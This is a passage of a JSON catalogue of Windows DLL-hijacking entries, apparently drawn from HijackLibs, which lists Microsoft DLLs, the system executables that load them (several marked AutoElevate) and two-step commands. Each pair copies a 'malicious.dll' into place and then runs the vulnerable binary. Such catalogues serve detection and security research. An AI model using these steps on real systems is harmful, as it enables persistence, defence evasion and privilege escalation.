        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dhcpcsvc6.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious directmanipulation.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\directmanipulation.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%PROGRAMFILES%\\\\Microsoft Office\\\\root\\\\Office%VERSION%\\\\excel.exe\\\"\"\n\n# directmanipulation.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excel.exe (Environment Variable)\n- %PROGRAMFILES%\\Microsoft Office\\root\\Office%VERSION%\\excelcnv.exe (Environment Variable)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-directmanipulation.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "directmanipulation.dll — Environment Variable hijacking (Microsoft)",
    "execution": {
      "template": "directmanipulation.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-directmanipulation",
    "name": "directmanipulation.dll",
    "namespace": "windows:dllhijack:directmanipulation",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/save-the-environment-variables"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/directmanipulation.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dismapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dismapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\bootim.exe\\\"\"\n\n# dismapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\bootim.exe (Sideloading)\n- %SYSTEM32%\\deploymentcsphelper.exe (Sideloading)\n- %SYSTEM32%\\directxdatabaseupdater.exe (Sideloading)\n- %SYSTEM32%\\hvsievaluator.exe (Sideloading)\n- %SYSTEM32%\\resetengine.exe (Sideloading)\n- %SYSTEM32%\\systemreset.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dismapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "dismapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dismapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-dismapi",
    "name": "dismapi.dll",
    "namespace": "windows:dllhijack:dismapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dismapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dismcore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dism\\\\dismcore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dism.exe\\\"\"\n\n# dismcore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\\dism\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dism.exe (Search Order)\n",
    "_source": "windows-dllhijack-dismcore.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dismcore.dll — Search Order hijacking (Microsoft)",
    "execution": {
      "template": "dismcore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dismcore",
    "name": "dismcore.dll",
    "namespace": "windows:dllhijack:dismcore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://cofense.com/exploiting-unpatched-vulnerability-ave_maria-malware-not-full-grace/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dismcore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dmcfgutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dmcfgutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\omadmclient.exe\\\"\"\n\n# dmcfgutils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dmcfgutils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dmcfgutils.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dmcfgutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dmcfgutils",
    "name": "dmcfgutils.dll",
    "namespace": "windows:dllhijack:dmcfgutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dmcfgutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dmcmnutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dmcmnutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\deviceenroller.exe\\\"\"\n\n# dmcmnutils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\dmcertinst.exe (Sideloading)\n- %SYSTEM32%\\dmcfghost.exe (Sideloading)\n- %SYSTEM32%\\dmnotificationbroker.exe (Sideloading)\n- %SYSTEM32%\\dmomacpmo.exe (Sideloading)\n- %SYSTEM32%\\edpcleanup.exe (Sideloading)\n- %SYSTEM32%\\hvsievaluator.exe (Sideloading)\n- %SYSTEM32%\\mdmappinstaller.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\mousocoreworker.exe (Sideloading)\n- %SYSTEM32%\\musnotificationux.exe (Sideloading)\n- %SYSTEM32%\\musnotifyicon.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\upgraderesultsui.exe (Sideloading)\n- %SYSTEM32%\\usocoreworker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dmcmnutils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dmcmnutils.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dmcmnutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dmcmnutils",
    "name": "dmcmnutils.dll",
    "namespace": "windows:dllhijack:dmcmnutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dmcmnutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dmcommandlineutils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dmcommandlineutils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\provtool.exe\\\"\"\n\n# dmcommandlineutils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\provtool.exe (Sideloading)\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dmcommandlineutils.md",
    "author": "Chris Spehn",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dmcommandlineutils.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dmcommandlineutils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dmcommandlineutils",
    "name": "dmcommandlineutils.dll",
    "namespace": "windows:dllhijack:dmcommandlineutils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dmcommandlineutils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dmenrollengine.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dmenrollengine.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\deviceenroller.exe\\\"\"\n\n# dmenrollengine.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\dmomacpmo.exe (Sideloading)\n- %SYSTEM32%\\mdmagent.exe (Sideloading)\n- %SYSTEM32%\\mdmappinstaller.exe (Sideloading)\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\workfolders.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dmenrollengine.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dmenrollengine.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dmenrollengine.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dmenrollengine",
    "name": "dmenrollengine.dll",
    "namespace": "windows:dllhijack:dmenrollengine",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dmenrollengine.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dmenterprisediagnostics.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dmenterprisediagnostics.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\deviceenroller.exe\\\"\"\n\n# dmenterprisediagnostics.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\deviceenroller.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dmenterprisediagnostics.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dmenterprisediagnostics.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dmenterprisediagnostics.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin"
    ],
    "id": "windows-dllhijack-dmenterprisediagnostics",
    "name": "dmenterprisediagnostics.dll",
    "namespace": "windows:dllhijack:dmenterprisediagnostics",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dmenterprisediagnostics.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dmiso8601utils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dmiso8601utils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\mdmdiagnosticstool.exe\\\"\"\n\n# dmiso8601utils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\mdmdiagnosticstool.exe (Sideloading)\n- %SYSTEM32%\\mousocoreworker.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\usocoreworker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dmiso8601utils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dmiso8601utils.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dmiso8601utils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dmiso8601utils",
    "name": "dmiso8601utils.dll",
    "namespace": "windows:dllhijack:dmiso8601utils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dmiso8601utils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dmoleaututils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dmoleaututils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\omadmclient.exe\\\"\"\n\n# dmoleaututils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n- %SYSTEM32%\\usocoreworker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dmoleaututils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dmoleaututils.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dmoleaututils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dmoleaututils",
    "name": "dmoleaututils.dll",
    "namespace": "windows:dllhijack:dmoleaututils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dmoleaututils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dmprocessxmlfiltered.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dmprocessxmlfiltered.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dmomacpmo.exe\\\"\"\n\n# dmprocessxmlfiltered.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dmomacpmo.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dmprocessxmlfiltered.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dmprocessxmlfiltered.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dmprocessxmlfiltered.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "pipes-stdin",
      "process-manip"
    ],
    "id": "windows-dllhijack-dmprocessxmlfiltered",
    "name": "dmprocessxmlfiltered.dll",
    "namespace": "windows:dllhijack:dmprocessxmlfiltered",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dmprocessxmlfiltered.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dmpushproxy.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dmpushproxy.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dmcfghost.exe\\\"\"\n\n# dmpushproxy.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dmcfghost.exe (Sideloading)\n- %SYSTEM32%\\omadmrpc.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dmpushproxy.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dmpushproxy.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dmpushproxy.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "remote"
    ],
    "id": "windows-dllhijack-dmpushproxy",
    "name": "dmpushproxy.dll",
    "namespace": "windows:dllhijack:dmpushproxy",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dmpushproxy.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dmxmlhelputils.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dmxmlhelputils.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\dmcfghost.exe\\\"\"\n\n# dmxmlhelputils.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\dmcfghost.exe (Sideloading)\n- %SYSTEM32%\\omadmclient.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dmxmlhelputils.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dmxmlhelputils.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dmxmlhelputils.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dmxmlhelputils",
    "name": "dmxmlhelputils.dll",
    "namespace": "windows:dllhijack:dmxmlhelputils",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dmxmlhelputils.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dnsapi.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dnsapi.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\checknetisolation.exe\\\"\"\n\n# dnsapi.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\checknetisolation.exe (Sideloading)\n- %SYSTEM32%\\dcdiag.exe (Sideloading)\n- %SYSTEM32%\\dnscmd.exe (Sideloading)\n- %SYSTEM32%\\edpcleanup.exe (Sideloading)\n- %SYSTEM32%\\ipconfig.exe (Sideloading)\n- %SYSTEM32%\\lpremove.exe (Sideloading)\n- %SYSTEM32%\\msdtc.exe (Sideloading)\n- %SYSTEM32%\\netdom.exe (Sideloading)\n- %SYSTEM32%\\netsh.exe (Sideloading)\n- %SYSTEM32%\\nslookup.exe (Sideloading)\n- %SYSTEM32%\\rendom.exe (Sideloading)\n- %SYSTEM32%\\repadmin.exe (Sideloading)\n- %SYSTEM32%\\securityhealthservice.exe (Sideloading)\n- %SYSTEM32%\\setupugc.exe (Sideloading)\n- %SYSTEM32%\\sihclient.exe (Sideloading)\n- %SYSTEM32%\\spoolsv.exe (Sideloading)\n- %SYSTEM32%\\sppextcomobj.exe (Sideloading)\n- %SYSTEM32%\\systempropertiesadvanced.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\systemsettingsadminflows.exe (Sideloading) [AutoElevate]\n- %SYSTEM32%\\tieringengineservice.exe (Sideloading)\n- %SYSTEM32%\\wbengine.exe (Sideloading)\n- %SYSTEM32%\\wkspbroker.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n\n**Acknowledgement:** Chris Spehn\n",
    "_source": "windows-dllhijack-dnsapi.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack",
      "security.privilegeescalation.dll-hijack"
    ],
    "description": "dnsapi.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dnsapi.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "features": [
      "requires-root"
    ],
    "id": "windows-dllhijack-dnsapi",
    "name": "dnsapi.dll",
    "namespace": "windows:dllhijack:dnsapi",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "Reference",
        "url": "https://securityintelligence.com/posts/windows-features-dll-sideloading/"
      },
      {
        "label": "Reference",
        "url": "https://github.com/xforcered/WFH"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dnsapi.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence",
      "privilege-escalation"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dnx.onecore.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%PROGRAMFILES%\\\\Microsoft Web Tools\\\\DNX\\\\\\\\dnx.onecore.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"dnx.exe\\\"\"\n\n# dnx.onecore.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %PROGRAMFILES%\\Microsoft Web Tools\\DNX\\\n\n**Vulnerable Executables:**\n- dnx.exe (Sideloading)\n\n**Acknowledgement:** Swachchhanda Shrawan Poudel\n",
    "_source": "windows-dllhijack-dnx-onecore.md",
    "author": "Swachchhanda Shrawan Poudel",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dnx.onecore.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dnx.onecore.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dnx-onecore",
    "name": "dnx.onecore.dll",
    "namespace": "windows:dllhijack:dnx-onecore",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://www.acronis.com/en/tru/posts/same-packet-different-magic-mustang-panda-hits-indias-banking-sector-and-korea-geopolitics/"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dnx-onecore.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dot3api.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dot3api.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# dot3api.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dot3api.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dot3api.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dot3api.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dot3api",
    "name": "dot3api.dll",
    "namespace": "windows:dllhijack:dot3api",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dot3api.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "examples:\n  - description: \"Place malicious dot3cfg.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dot3cfg.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\netsh.exe\\\"\"\n\n# dot3cfg.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\netsh.exe (Sideloading)\n\n**Acknowledgement:** Wietze\n",
    "_source": "windows-dllhijack-dot3cfg.md",
    "author": "Wietze Beukema",
    "capabilities": [
      "security.defenseevasion.dll-hijack"
    ],
    "description": "dot3cfg.dll — Sideloading hijacking (Microsoft)",
    "execution": {
      "template": "dot3cfg.dll",
      "sandbox": "execFile",
      "timeout_seconds": 30,
      "shell": false
    },
    "id": "windows-dllhijack-dot3cfg",
    "name": "dot3cfg.dll",
    "namespace": "windows:dllhijack:dot3cfg",
    "platforms": [
      "windows"
    ],
    "references": [
      {
        "label": "Reference",
        "url": "https://wietze.github.io/blog/hijacking-dlls-in-windows"
      },
      {
        "label": "HijackLibs",
        "url": "https://hijacklibs.net/entries/dot3cfg.html"
      }
    ],
    "techniques": [
      "defense-evasion",
      "persistence"
    ],
    "trust_level": "community",
    "version": "1.0.0"
  },
  {
    "_body": "\nexamples:\n  - description: \"Place malicious dpx.dll in the search order location\"\n    command: \"copy malicious.dll \\\"%SYSTEM32%\\\\dpx.dll\\\"\"\n  - description: \"Execute the vulnerable binary to trigger the hijack\"\n    command: \"\\\"%SYSTEM32%\\\\lpksetup.exe\\\"\"\n\n# dpx.dll\n\n**Vendor:** Microsoft\n\n**Expected Location:** %SYSTEM32%\n\n**Vulnerable Executables:**\n- %SYSTEM32%\\lpksetup.exe (Sideloading)\n- %SYSTEM32%\\wusa.exe (Sideloading) [AutoElevate]\n\n**Acknowledgement:** Wietze\n",
